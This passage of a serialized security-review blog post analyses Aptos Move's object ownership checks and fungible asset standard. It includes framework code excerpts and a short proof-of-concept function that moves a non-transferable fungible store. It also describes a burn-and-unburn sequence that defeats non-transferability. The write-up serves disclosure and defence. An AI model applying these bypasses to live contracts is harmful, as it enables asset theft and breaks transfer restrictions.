",{"type":22,"tag":257,"props":65578,"children":65580},{"className":65579},[],[65581],{"type":27,"value":63398},{"type":27,"value":65583},", X can withdraw from that store. This is because ",{"type":22,"tag":257,"props":65585,"children":65587},{"className":65586},[],[65588],{"type":27,"value":65589},"fungible_asset::withdraw",{"type":27,"value":65591}," uses ",{"type":22,"tag":257,"props":65593,"children":65595},{"className":65594},[],[65596],{"type":27,"value":64916},{"type":27,"value":65598}," to verify both direct and indirect ownership of the ",{"type":22,"tag":257,"props":65600,"children":65602},{"className":65601},[],[65603],{"type":27,"value":63398},{"type":27,"value":51497},{"type":22,"tag":618,"props":65606,"children":65608},{"className":4274,"code":65607,"language":4273,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[65609],{"type":22,"tag":257,"props":65610,"children":65611},{"__ignoreMap":7},[65612,65673,65689,65719,65748,65763,65775,65805,65826,65833,65873,65898,65905],{"type":22,"tag":264,"props":65613,"children":65614},{"class":1534,"line":1535},[65615,65619,65624,65628,65632,65636,65640,65644,65649,65653,65657,65661,65665,65669],{"type":22,"tag":264,"props":65616,"children":65617},{"style":1549},[65618],{"type":27,"value":8400},{"type":22,"tag":264,"props":65620,"children":65621},{"style":4401},[65622],{"type":27,"value":65623}," verify_ungated_and_descendant",{"type":22,"tag":264,"props":65625,"children":65626},{"style":1539},[65627],{"type":27,"value":2660},{"type":22,"tag":264,"props":65629,"children":65630},{"style":1549},[65631],{"type":27,"value":16909},{"type":22,"tag":264,"props":65633,"children":65634},{"style":4309},[65635],{"type":27,"value":5785},{"type":22,"tag":264,"props":65637,"children":65638},{"style":1549},[65639],{"type":27,"value":7542},{"type":22,"tag":264,"props":65641,"children":65642},{"style":1539},[65643],{"type":27,"value":4380},{"type":22,"tag":264,"props":65645,"children":65646},{"style":1549},[65647],{"type":27,"value":65648},"destination",{"type":22,"tag":264,"props":65650,"children":65651},{"style":4309},[65652],{"type":27,"value":5785},{"type":22,"tag":264,"props":65654,"children":65655},{"style":1549},[65656],{"type":27,"value":7542},{"type":22,"tag":264,"props":65658,"children":65659},{"style":1539},[65660],{"type":27,"value":4390},{"type":22,"tag":264,"props":65662,"children":65663},{"style":1549},[65664],{"type":27,"value":7636},{"type":22,"tag":264,"props":65666,"children":65667},{"style":4722},[65668],{"type":27,"value":65296},{"type":22,"tag":264,"props":65670,"children":65671},{"style":1539},[65672],{"type":27,"value":4594},{"type":22,"tag":264,"props":65674,"children":65675},{"class":1534,"line":1545},[65676,65681,65685],{"type":22,"tag":264,"props":65677,"children":65678},{"style":1539},[65679],{"type":27,"value":65680},"        [",{"type":22,"tag":264,"props":65682,"children":65683},{"style":4309},[65684],{"type":27,"value":10889},{"type":22,"tag":264,"props":65686,"children":65687},{"style":1539},[65688],{"type":27,"value":13071},{"type":22,"tag":264,"props":65690,"children":65691},{"class":1534,"line":1560},[65692,65697,65701,65705,65710,65715],{"type":22,"tag":264,"props":65693,"children":65694},{"style":4328},[65695],{"type":27,"value":65696},"    while",{"type":22,"tag":264,"props":65698,"children":65699},{"style":1539},[65700],{"type":27,"value":4370},{"type":22,"tag":264,"props":65702,"children":65703},{"style":1549},[65704],{"type":27,"value":16909},{"type":22,"tag":264,"props":65706,"children":65707},{"style":4309},[65708],{"type":27,"value":65709}," !=",{"type":22,"tag":264,"props":65711,"children":65712},{"style":1549},[65713],{"type":27,"value":65714}," current_address",{"type":22,"tag":264,"props":65716,"children":65717},{"style":1539},[65718],{"type":27,"value":16103},{"type":22,"tag":264,"props":65720,"children":65721},{"class":1534,"line":1569},[65722,65727,65731,65736,65740,65744],{"type":22,"tag":264,"props":65723,"children":65724},{"style":1549},[65725],{"type":27,"value":65726},"        count",{"type":22,"tag":264,"props":65728,"children":65729},{"style":4309},[65730],{"type":27,"value":4312},{"type":22,"tag":264,"props":65732,"children":65733},{"style":1549},[65734],{"type":27,"value":65735}," count",{"type":22,"tag":264,"props":65737,"children":65738},{"style":4309},[65739],{"type":27,"value":10200},{"type":22,"tag":264,"props":65741,"children":65742},{"style":4344},[65743],{"type":27,"value":5817},{"type":22,"tag":264,"props":65745,"children":65746},{"style":1539},[65747],{"type":27,"value":4322},{"type":22,"tag":264,"props":65749,"children":65750},{"class":1534,"line":1583},[65751,65755,65759],{"type":22,"tag":264,"props":65752,"children":65753},{"style":1539},[65754],{"type":27,"value":65680},{"type":22,"tag":264,"props":65756,"children":65757},{"style":4309},[65758],{"type":27,"value":10889},{"type":22,"tag":264,"props":65760,"children":65761},{"style":1539},[65762],{"type":27,"value":13071},{"type":22,"tag":264,"props":65764,"children":65765},{"class":1534,"line":1603},[65766,65771],{"type":22,"tag":264,"props":65767,"children":65768},{"style":4401},[65769],{"type":27,"value":65770},"        assert!",{"type":22,"tag":264,"props":65772,"children":65773},{"style":1539},[65774],{"type":27,"value":4767},{"type":22,"tag":264,"props":65776,"children":65777},{"class":1534,"line":1612},[65778,65783,65787,65792,65796,65801],{"type":22,"tag":264,"props":65779,"children":65780},{"style":1549},[65781],{"type":27,"value":65782},"            exists",{"type":22,"tag":264,"props":65784,"children":65785},{"style":1539},[65786],{"type":27,"value":7097},{"type":22,"tag":264,"props":65788,"children":65789},{"style":4722},[65790],{"type":27,"value":65791},"ObjectCore",{"type":22,"tag":264,"props":65793,"children":65794},{"style":1539},[65795],{"type":27,"value":8904},{"type":22,"tag":264,"props":65797,"children":65798},{"style":1549},[65799],{"type":27,"value":65800},"current_address",{"type":22,"tag":264,"props":65802,"children":65803},{"style":1539},[65804],{"type":27,"value":8029},{"type":22,"tag":264,"props":65806,"children":65807},{"class":1534,"line":1621},[65808,65813,65817,65821],{"type":22,"tag":264,"props":65809,"children":65810},{"style":1539},[65811],{"type":27,"value":65812},"            error",{"type":22,"tag":264,"props":65814,"children":65815},{"style":4309},[65816],{"type":27,"value":4785},{"type":22,"tag":264,"props":65818,"children":65819},{"style":4401},[65820],{"type":27,"value":65141},{"type":22,"tag":264,"props":65822,"children":65823},{"style":1539},[65824],{"type":27,"value":65825},"(ENOT_OBJECT_OWNER),\n",{"type":22,"tag":264,"props":65827,"children":65828},{"class":1534,"line":1629},[65829],{"type":22,"tag":264,"props":65830,"children":65831},{"style":1539},[65832],{"type":27,"value":9037},{"type":22,"tag":264,"props":65834,"children":65835},{"class":1534,"line":1642},[65836,65840,65844,65848,65853,65857,65861,65865,65869],{"type":22,"tag":264,"props":65837,"children":65838},{"style":4293},[65839],{"type":27,"value":4365},{"type":22,"tag":264,"props":65841,"children":65842},{"style":1549},[65843],{"type":27,"value":63816},{"type":22,"tag":264,"props":65845,"children":65846},{"style":4309},[65847],{"type":27,"value":4312},{"type":22,"tag":264,"props":65849,"children":65850},{"style":1549},[65851],{"type":27,"value":65852}," borrow_global",{"type":22,"tag":264,"props":65854,"children":65855},{"style":1539},[65856],{"type":27,"value":7097},{"type":22,"tag":264,"props":65858,"children":65859},{"style":4722},[65860],{"type":27,"value":65791},{"type":22,"tag":264,"props":65862,"children":65863},{"style":1539},[65864],{"type":27,"value":8904},{"type":22,"tag":264,"props":65866,"children":65867},{"style":1549},[65868],{"type":27,"value":65800},{"type":22,"tag":264,"props":65870,"children":65871},{"style":1539},[65872],{"type":27,"value":5142},{"type":22,"tag":264,"props":65874,"children":65875},{"class":1534,"line":1660},[65876,65881,65885,65889,65893],{"type":22,"tag":264,"props":65877,"children":65878},{"style":1549},[65879],{"type":27,"value":65880},"        current_address",{"type":22,"tag":264,"props":65882,"children":65883},{"style":4309},[65884],{"type":27,"value":4312},{"type":22,"tag":264,"props":65886,"children":65887},{"style":1549},[65888],{"type":27,"value":63816},{"type":22,"tag":264,"props":65890,"children":65891},{"style":4309},[65892],{"type":27,"value":210},{"type":22,"tag":264,"props":65894,"children":65895},{"style":1539},[65896],{"type":27,"value":65897},"owner;\n",{"type":22,"tag":264,"props":65899,"children":65900},{"class":1534,"line":1668},[65901],{"type":22,"tag":264,"props":65902,"children":65903},{"style":1539},[65904],{"type":27,"value":40311},{"type":22,"tag":264,"props":65906,"children":65907},{"class":1534,"line":1677},[65908],{"type":22,"tag":264,"props":65909,"children":65910},{"style":1539},[65911],{"type":27,"value":1692},{"type":22,"tag":23,"props":65913,"children":65914},{},[65915,65917,65922],{"type":27,"value":65916},"This could allow for bypassing assumptions about ",{"type":22,"tag":257,"props":65918,"children":65920},{"className":65919},[],[65921],{"type":27,"value":63398},{"type":27,"value":65923}," true ownership and its non-transferability.",{"type":22,"tag":618,"props":65925,"children":65927},{"className":4274,"code":65926,"language":4273,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[65928],{"type":22,"tag":257,"props":65929,"children":65930},{"__ignoreMap":7},[65931,65989,66042,66086,66134,66141,66186,66194],{"type":22,"tag":264,"props":65932,"children":65933},{"class":1534,"line":1535},[65934,65938,65942,65947,65951,65956,65960,65964,65968,65972,65977,65981,65985],{"type":22,"tag":264,"props":65935,"children":65936},{"style":1549},[65937],{"type":27,"value":62997},{"type":22,"tag":264,"props":65939,"children":65940},{"style":1549},[65941],{"type":27,"value":7499},{"type":22,"tag":264,"props":65943,"children":65944},{"style":4401},[65945],{"type":27,"value":65946}," untransferable_transfer",{"type":22,"tag":264,"props":65948,"children":65949},{"style":1539},[65950],{"type":27,"value":2660},{"type":22,"tag":264,"props":65952,"children":65953},{"style":1549},[65954],{"type":27,"value":65955},"caller",{"type":22,"tag":264,"props":65957,"children":65958},{"style":4309},[65959],{"type":27,"value":5785},{"type":22,"tag":264,"props":65961,"children":65962},{"style":4309},[65963],{"type":27,"value":8434},{"type":22,"tag":264,"props":65965,"children":65966},{"style":1549},[65967],{"type":27,"value":8439},{"type":22,"tag":264,"props":65969,"children":65970},{"style":1539},[65971],{"type":27,"value":4380},{"type":22,"tag":264,"props":65973,"children":65974},{"style":1549},[65975],{"type":27,"value":65976},"receipient",{"type":22,"tag":264,"props":65978,"children":65979},{"style":4309},[65980],{"type":27,"value":5785},{"type":22,"tag":264,"props":65982,"children":65983},{"style":1549},[65984],{"type":27,"value":7542},{"type":22,"tag":264,"props":65986,"children":65987},{"style":1539},[65988],{"type":27,"value":16103},{"type":22,"tag":264,"props":65990,"children":65991},{"class":1534,"line":1545},[65992,65996,66001,66005,66009,66013,66018,66022,66026,66030,66034,66038],{"type":22,"tag":264,"props":65993,"children":65994},{"style":4293},[65995],{"type":27,"value":4296},{"type":22,"tag":264,"props":65997,"children":65998},{"style":1549},[65999],{"type":27,"value":66000}," constructor_ref",{"type":22,"tag":264,"props":66002,"children":66003},{"style":4309},[66004],{"type":27,"value":4312},{"type":22,"tag":264,"props":66006,"children":66007},{"style":1539},[66008],{"type":27,"value":63816},{"type":22,"tag":264,"props":66010,"children":66011},{"style":4309},[66012],{"type":27,"value":4785},{"type":22,"tag":264,"props":66014,"children":66015},{"style":4401},[66016],{"type":27,"value":66017},"create_object",{"type":22,"tag":264,"props":66019,"children":66020},{"style":1539},[66021],{"type":27,"value":8493},{"type":22,"tag":264,"props":66023,"children":66024},{"style":4309},[66025],{"type":27,"value":4785},{"type":22,"tag":264,"props":66027,"children":66028},{"style":4401},[66029],{"type":27,"value":8502},{"type":22,"tag":264,"props":66031,"children":66032},{"style":1539},[66033],{"type":27,"value":2660},{"type":22,"tag":264,"props":66035,"children":66036},{"style":1549},[66037],{"type":27,"value":65955},{"type":22,"tag":264,"props":66039,"children":66040},{"style":1539},[66041],{"type":27,"value":8516},{"type":22,"tag":264,"props":66043,"children":66044},{"class":1534,"line":1560},[66045,66049,66053,66057,66061,66065,66070,66074,66078,66082],{"type":22,"tag":264,"props":66046,"children":66047},{"style":4293},[66048],{"type":27,"value":4296},{"type":22,"tag":264,"props":66050,"children":66051},{"style":1549},[66052],{"type":27,"value":65403},{"type":22,"tag":264,"props":66054,"children":66055},{"style":4309},[66056],{"type":27,"value":4312},{"type":22,"tag":264,"props":66058,"children":66059},{"style":1539},[66060],{"type":27,"value":63816},{"type":22,"tag":264,"props":66062,"children":66063},{"style":4309},[66064],{"type":27,"value":4785},{"type":22,"tag":264,"props":66066,"children":66067},{"style":4401},[66068],{"type":27,"value":66069},"address_from_constructor_ref",{"type":22,"tag":264,"props":66071,"children":66072},{"style":1539},[66073],{"type":27,"value":2660},{"type":22,"tag":264,"props":66075,"children":66076},{"style":4309},[66077],{"type":27,"value":4413},{"type":22,"tag":264,"props":66079,"children":66080},{"style":1549},[66081],{"type":27,"value":64250},{"type":22,"tag":264,"props":66083,"children":66084},{"style":1539},[66085],{"type":27,"value":5142},{"type":22,"tag":264,"props":66087,"children":66088},{"class":1534,"line":1569},[66089,66093,66097,66101,66106,66110,66114,66118,66122,66126,66130],{"type":22,"tag":264,"props":66090,"children":66091},{"style":4293},[66092],{"type":27,"value":4296},{"type":22,"tag":264,"props":66094,"children":66095},{"style":1549},[66096],{"type":27,"value":7122},{"type":22,"tag":264,"props":66098,"children":66099},{"style":4309},[66100],{"type":27,"value":4312},{"type":22,"tag":264,"props":66102,"children":66103},{"style":1539},[66104],{"type":27,"value":66105}," primary_fungible_store",{"type":22,"tag":264,"props":66107,"children":66108},{"style":4309},[66109],{"type":27,"value":4785},{"type":22,"tag":264,"props":66111,"children":66112},{"style":4401},[66113],{"type":27,"value":64142},{"type":22,"tag":264,"props":66115,"children":66116},{"style":1539},[66117],{"type":27,"value":2660},{"type":22,"tag":264,"props":66119,"children":66120},{"style":1549},[66121],{"type":27,"value":65449},{"type":22,"tag":264,"props":66123,"children":66124},{"style":1539},[66125],{"type":27,"value":4380},{"type":22,"tag":264,"props":66127,"children":66128},{"style":4401},[66129],{"type":27,"value":64098},{"type":22,"tag":264,"props":66131,"children":66132},{"style":1539},[66133],{"type":27,"value":16724},{"type":22,"tag":264,"props":66135,"children":66136},{"class":1534,"line":1583},[66137],{"type":22,"tag":264,"props":66138,"children":66139},{"emptyLinePlaceholder":17},[66140],{"type":27,"value":4986},{"type":22,"tag":264,"props":66142,"children":66143},{"class":1534,"line":1603},[66144,66149,66153,66158,66162,66166,66170,66174,66178,66182],{"type":22,"tag":264,"props":66145,"children":66146},{"style":1539},[66147],{"type":27,"value":66148},"    object",{"type":22,"tag":264,"props":66150,"children":66151},{"style":4309},[66152],{"type":27,"value":4785},{"type":22,"tag":264,"props":66154,"children":66155},{"style":4401},[66156],{"type":27,"value":66157},"transfer_raw",{"type":22,"tag":264,"props":66159,"children":66160},{"style":1539},[66161],{"type":27,"value":2660},{"type":22,"tag":264,"props":66163,"children":66164},{"style":1549},[66165],{"type":27,"value":65955},{"type":22,"tag":264,"props":66167,"children":66168},{"style":1539},[66169],{"type":27,"value":4380},{"type":22,"tag":264,"props":66171,"children":66172},{"style":1549},[66173],{"type":27,"value":65449},{"type":22,"tag":264,"props":66175,"children":66176},{"style":1539},[66177],{"type":27,"value":4380},{"type":22,"tag":264,"props":66179,"children":66180},{"style":1549},[66181],{"type":27,"value":65976},{"type":22,"tag":264,"props":66183,"children":66184},{"style":1539},[66185],{"type":27,"value":5142},{"type":22,"tag":264,"props":66187,"children":66188},{"class":1534,"line":1612},[66189],{"type":22,"tag":264,"props":66190,"children":66191},{"style":4284},[66192],{"type":27,"value":66193},"    //receipient can interact with store by using their signer\n",{"type":22,"tag":264,"props":66195,"children":66196},{"class":1534,"line":1621},[66197],{"type":22,"tag":264,"props":66198,"children":66199},{"style":1539},[66200],{"type":27,"value":1692},{"type":22,"tag":23,"props":66202,"children":66203},{},[66204,66206,66213],{"type":27,"value":66205},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":22,"tag":69,"props":66207,"children":66210},{"href":66208,"rel":66209},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[73],[66211],{"type":27,"value":66212},"edge case",{"type":27,"value":66214}," involving the transfer of a non-transferable fungible store.",{"type":22,"tag":618,"props":66216,"children":66218},{"className":4274,"code":66217,"language":4273,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[66219],{"type":22,"tag":257,"props":66220,"children":66221},{"__ignoreMap":7},[66222,66287,66348,66395,66406,66441,66461,66468,66475,66490,66497,66525],{"type":22,"tag":264,"props":66223,"children":66224},{"class":1534,"line":1535},[66225,66229,66233,66238,66242,66246,66250,66255,66259,66263,66267,66271,66275,66279,66283],{"type":22,"tag":264,"props":66226,"children":66227},{"style":1549},[66228],{"type":27,"value":62997},{"type":22,"tag":264,"props":66230,"children":66231},{"style":1549},[66232],{"type":27,"value":7499},{"type":22,"tag":264,"props":66234,"children":66235},{"style":4401},[66236],{"type":27,"value":66237}," transfer_with_ref",{"type":22,"tag":264,"props":66239,"children":66240},{"style":1539},[66241],{"type":27,"value":2660},{"type":22,"tag":264,"props":66243,"children":66244},{"style":4293},[66245],{"type":27,"value":64659},{"type":22,"tag":264,"props":66247,"children":66248},{"style":4309},[66249],{"type":27,"value":5785},{"type":22,"tag":264,"props":66251,"children":66252},{"style":4722},[66253],{"type":27,"value":66254}," LinearTransferRef",{"type":22,"tag":264,"props":66256,"children":66257},{"style":1539},[66258],{"type":27,"value":4380},{"type":22,"tag":264,"props":66260,"children":66261},{"style":1549},[66262],{"type":27,"value":34043},{"type":22,"tag":264,"props":66264,"children":66265},{"style":4309},[66266],{"type":27,"value":5785},{"type":22,"tag":264,"props":66268,"children":66269},{"style":1549},[66270],{"type":27,"value":7542},{"type":22,"tag":264,"props":66272,"children":66273},{"style":1539},[66274],{"type":27,"value":4390},{"type":22,"tag":264,"props":66276,"children":66277},{"style":1549},[66278],{"type":27,"value":7636},{"type":22,"tag":264,"props":66280,"children":66281},{"style":4722},[66282],{"type":27,"value":65296},{"type":22,"tag":264,"props":66284,"children":66285},{"style":1539},[66286],{"type":27,"value":4594},{"type":22,"tag":264,"props":66288,"children":66289},{"class":1534,"line":1545},[66290,66294,66298,66302,66306,66310,66315,66319,66323,66327,66331,66335,66339,66343],{"type":22,"tag":264,"props":66291,"children":66292},{"style":4401},[66293],{"type":27,"value":63666},{"type":22,"tag":264,"props":66295,"children":66296},{"style":1539},[66297],{"type":27,"value":2660},{"type":22,"tag":264,"props":66299,"children":66300},{"style":4309},[66301],{"type":27,"value":21928},{"type":22,"tag":264,"props":66303,"children":66304},{"style":1549},[66305],{"type":27,"value":7997},{"type":22,"tag":264,"props":66307,"children":66308},{"style":1539},[66309],{"type":27,"value":7097},{"type":22,"tag":264,"props":66311,"children":66312},{"style":4722},[66313],{"type":27,"value":66314},"Untransferable",{"type":22,"tag":264,"props":66316,"children":66317},{"style":1539},[66318],{"type":27,"value":8904},{"type":22,"tag":264,"props":66320,"children":66321},{"style":4293},[66322],{"type":27,"value":64659},{"type":22,"tag":264,"props":66324,"children":66325},{"style":4309},[66326],{"type":27,"value":210},{"type":22,"tag":264,"props":66328,"children":66329},{"style":4293},[66330],{"type":27,"value":15012},{"type":22,"tag":264,"props":66332,"children":66333},{"style":1539},[66334],{"type":27,"value":64255},{"type":22,"tag":264,"props":66336,"children":66337},{"style":4309},[66338],{"type":27,"value":4785},{"type":22,"tag":264,"props":66340,"children":66341},{"style":4401},[66342],{"type":27,"value":65141},{"type":22,"tag":264,"props":66344,"children":66345},{"style":1539},[66346],{"type":27,"value":66347},"(ENOT_MOVABLE));\n",{"type":22,"tag":264,"props":66349,"children":66350},{"class":1534,"line":1560},[66351,66355,66359,66363,66367,66371,66375,66379,66383,66387,66391],{"type":22,"tag":264,"props":66352,"children":66353},{"style":4293},[66354],{"type":27,"value":4296},{"type":22,"tag":264,"props":66356,"children":66357},{"style":1549},[66358],{"type":27,"value":63816},{"type":22,"tag":264,"props":66360,"children":66361},{"style":4309},[66362],{"type":27,"value":4312},{"type":22,"tag":264,"props":66364,"children":66365},{"style":1549},[66366],{"type":27,"value":8890},{"type":22,"tag":264,"props":66368,"children":66369},{"style":1539},[66370],{"type":27,"value":7097},{"type":22,"tag":264,"props":66372,"children":66373},{"style":4722},[66374],{"type":27,"value":65791},{"type":22,"tag":264,"props":66376,"children":66377},{"style":1539},[66378],{"type":27,"value":8904},{"type":22,"tag":264,"props":66380,"children":66381},{"style":4293},[66382],{"type":27,"value":64659},{"type":22,"tag":264,"props":66384,"children":66385},{"style":4309},[66386],{"type":27,"value":210},{"type":22,"tag":264,"props":66388,"children":66389},{"style":4293},[66390],{"type":27,"value":15012},{"type":22,"tag":264,"props":66392,"children":66393},{"style":1539},[66394],{"type":27,"value":5142},{"type":22,"tag":264,"props":66396,"children":66397},{"class":1534,"line":1569},[66398,66402],{"type":22,"tag":264,"props":66399,"children":66400},{"style":4401},[66401],{"type":27,"value":63666},{"type":22,"tag":264,"props":66403,"children":66404},{"style":1539},[66405],{"type":27,"value":4767},{"type":22,"tag":264,"props":66407,"children":66408},{"class":1534,"line":1583},[66409,66414,66418,66423,66427,66432,66436],{"type":22,"tag":264,"props":66410,"children":66411},{"style":1549},[66412],{"type":27,"value":66413},"        object",{"type":22,"tag":264,"props":66415,"children":66416},{"style":4309},[66417],{"type":27,"value":210},{"type":22,"tag":264,"props":66419,"children":66420},{"style":1539},[66421],{"type":27,"value":66422},"owner ",{"type":22,"tag":264,"props":66424,"children":66425},{"style":4309},[66426],{"type":27,"value":9870},{"type":22,"tag":264,"props":66428,"children":66429},{"style":4293},[66430],{"type":27,"value":66431}," ref",{"type":22,"tag":264,"props":66433,"children":66434},{"style":4309},[66435],{"type":27,"value":210},{"type":22,"tag":264,"props":66437,"children":66438},{"style":1539},[66439],{"type":27,"value":66440},"owner,\n",{"type":22,"tag":264,"props":66442,"children":66443},{"class":1534,"line":1603},[66444,66449,66453,66457],{"type":22,"tag":264,"props":66445,"children":66446},{"style":1539},[66447],{"type":27,"value":66448},"        error",{"type":22,"tag":264,"props":66450,"children":66451},{"style":4309},[66452],{"type":27,"value":4785},{"type":22,"tag":264,"props":66454,"children":66455},{"style":4401},[66456],{"type":27,"value":65141},{"type":22,"tag":264,"props":66458,"children":66459},{"style":1539},[66460],{"type":27,"value":65825},{"type":22,"tag":264,"props":66462,"children":66463},{"class":1534,"line":1612},[66464],{"type":22,"tag":264,"props":66465,"children":66466},{"style":1539},[66467],{"type":27,"value":44974},{"type":22,"tag":264,"props":66469,"children":66470},{"class":1534,"line":1621},[66471],{"type":22,"tag":264,"props":66472,"children":66473},{"style":1539},[66474],{"type":27,"value":63108},{"type":22,"tag":264,"props":66476,"children":66477},{"class":1534,"line":1629},[66478,66482,66486],{"type":22,"tag":264,"props":66479,"children":66480},{"style":1539},[66481],{"type":27,"value":64040},{"type":22,"tag":264,"props":66483,"children":66484},{"style":4309},[66485],{"type":27,"value":10889},{"type":22,"tag":264,"props":66487,"children":66488},{"style":1539},[66489],{"type":27,"value":13071},{"type":22,"tag":264,"props":66491,"children":66492},{"class":1534,"line":1642},[66493],{"type":22,"tag":264,"props":66494,"children":66495},{"style":1539},[66496],{"type":27,"value":63108},{"type":22,"tag":264,"props":66498,"children":66499},{"class":1534,"line":1660},[66500,66504,66508,66512,66516,66521],{"type":22,"tag":264,"props":66501,"children":66502},{"style":1549},[66503],{"type":27,"value":66148},{"type":22,"tag":264,"props":66505,"children":66506},{"style":4309},[66507],{"type":27,"value":210},{"type":22,"tag":264,"props":66509,"children":66510},{"style":1539},[66511],{"type":27,"value":66422},{"type":22,"tag":264,"props":66513,"children":66514},{"style":4309},[66515],{"type":27,"value":429},{"type":22,"tag":264,"props":66517,"children":66518},{"style":1549},[66519],{"type":27,"value":66520}," to",{"type":22,"tag":264,"props":66522,"children":66523},{"style":1539},[66524],{"type":27,"value":4322},{"type":22,"tag":264,"props":66526,"children":66527},{"class":1534,"line":1668},[66528],{"type":22,"tag":264,"props":66529,"children":66530},{"style":1539},[66531],{"type":27,"value":1692},{"type":22,"tag":23,"props":66533,"children":66534},{},[66535,66537,66542,66544,66549],{"type":27,"value":66536},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":22,"tag":257,"props":66538,"children":66540},{"className":66539},[],[66541],{"type":27,"value":65194},{"type":27,"value":66543},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":22,"tag":257,"props":66545,"children":66547},{"className":66546},[],[66548],{"type":27,"value":8439},{"type":27,"value":66550}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":22,"tag":181,"props":66552,"children":66554},{"id":66553},"references",[66555],{"type":27,"value":66556},"References",{"type":22,"tag":23,"props":66558,"children":66559},{},[66560,66565,66567,66573,66575,66580,66582,66587],{"type":22,"tag":257,"props":66561,"children":66563},{"className":66562},[],[66564],{"type":27,"value":66556},{"type":27,"value":66566}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":22,"tag":257,"props":66568,"children":66570},{"className":66569},[],[66571],{"type":27,"value":66572},"Refs",{"type":27,"value":66574}," are based on the ",{"type":22,"tag":257,"props":66576,"children":66578},{"className":66577},[],[66579],{"type":27,"value":50171},{"type":27,"value":66581}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":22,"tag":257,"props":66583,"children":66585},{"className":66584},[],[66586],{"type":27,"value":50171},{"type":27,"value":66588}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":22,"tag":23,"props":66590,"children":66591},{},[66592,66594,66599,66601,66606,66607,66613,66615,66620,66622,66627],{"type":27,"value":66593},"Let's get back to the ",{"type":22,"tag":257,"props":66595,"children":66597},{"className":66596},[],[66598],{"type":27,"value":63398},{"type":27,"value":66600}," deletion example. Both ",{"type":22,"tag":257,"props":66602,"children":66604},{"className":66603},[],[66605],{"type":27,"value":64683},{"type":27,"value":12290},{"type":22,"tag":257,"props":66608,"children":66610},{"className":66609},[],[66611],{"type":27,"value":66612},"fungible_asset::remove_store",{"type":27,"value":66614}," use the same object-specific ",{"type":22,"tag":257,"props":66616,"children":66618},{"className":66617},[],[66619],{"type":27,"value":64615},{"type":27,"value":66621}," permission. It can be created only during object creation. There is no separate ",{"type":22,"tag":257,"props":66623,"children":66625},{"className":66624},[],[66626],{"type":27,"value":64615},{"type":27,"value":66628}," for fungible assets.",{"type":22,"tag":618,"props":66630,"children":66631},{"className":4274,"code":64565,"language":4273,"meta":7,"style":7},[66632],{"type":22,"tag":257,"props":66633,"children":66634},{"__ignoreMap":7},[66635,66642,66681,66688,66695],{"type":22,"tag":264,"props":66636,"children":66637},{"class":1534,"line":1535},[66638],{"type":22,"tag":264,"props":66639,"children":66640},{"style":4284},[66641],{"type":27,"value":64577},{"type":22,"tag":264,"props":66643,"children":66644},{"class":1534,"line":1545},[66645,66649,66653,66657,66661,66665,66669,66673,66677],{"type":22,"tag":264,"props":66646,"children":66647},{"style":1549},[66648],{"type":27,"value":62997},{"type":22,"tag":264,"props":66650,"children":66651},{"style":1549},[66652],{"type":27,"value":7499},{"type":22,"tag":264,"props":66654,"children":66655},{"style":4401},[66656],{"type":27,"value":64593},{"type":22,"tag":264,"props":66658,"children":66659},{"style":1539},[66660],{"type":27,"value":2660},{"type":22,"tag":264,"props":66662,"children":66663},{"style":1549},[66664],{"type":27,"value":64602},{"type":22,"tag":264,"props":66666,"children":66667},{"style":4309},[66668],{"type":27,"value":5785},{"type":22,"tag":264,"props":66670,"children":66671},{"style":4309},[66672],{"type":27,"value":8434},{"type":22,"tag":264,"props":66674,"children":66675},{"style":4722},[66676],{"type":27,"value":64615},{"type":22,"tag":264,"props":66678,"children":66679},{"style":1539},[66680],{"type":27,"value":4463},{"type":22,"tag":264,"props":66682,"children":66683},{"class":1534,"line":1560},[66684],{"type":22,"tag":264,"props":66685,"children":66686},{"emptyLinePlaceholder":17},[66687],{"type":27,"value":4986},{"type":22,"tag":264,"props":66689,"children":66690},{"class":1534,"line":1569},[66691],{"type":22,"tag":264,"props":66692,"children":66693},{"style":4284},[66694],{"type":27,"value":64634},{"type":22,"tag":264,"props":66696,"children":66697},{"class":1534,"line":1583},[66698,66702,66706,66710,66714,66718,66722,66726],{"type":22,"tag":264,"props":66699,"children":66700},{"style":1549},[66701],{"type":27,"value":62997},{"type":22,"tag":264,"props":66703,"children":66704},{"style":1549},[66705],{"type":27,"value":7499},{"type":22,"tag":264,"props":66707,"children":66708},{"style":4401},[66709],{"type":27,"value":64650},{"type":22,"tag":264,"props":66711,"children":66712},{"style":1539},[66713],{"type":27,"value":2660},{"type":22,"tag":264,"props":66715,"children":66716},{"style":4293},[66717],{"type":27,"value":64659},{"type":22,"tag":264,"props":66719,"children":66720},{"style":4309},[66721],{"type":27,"value":5785},{"type":22,"tag":264,"props":66723,"children":66724},{"style":4722},[66725],{"type":27,"value":64668},{"type":22,"tag":264,"props":66727,"children":66728},{"style":1539},[66729],{"type":27,"value":4463},{"type":22,"tag":23,"props":66731,"children":66732},{},[66733,66735,66740,66742,66748],{"type":27,"value":66734},"On the other hand, the \"frozen\" status of a 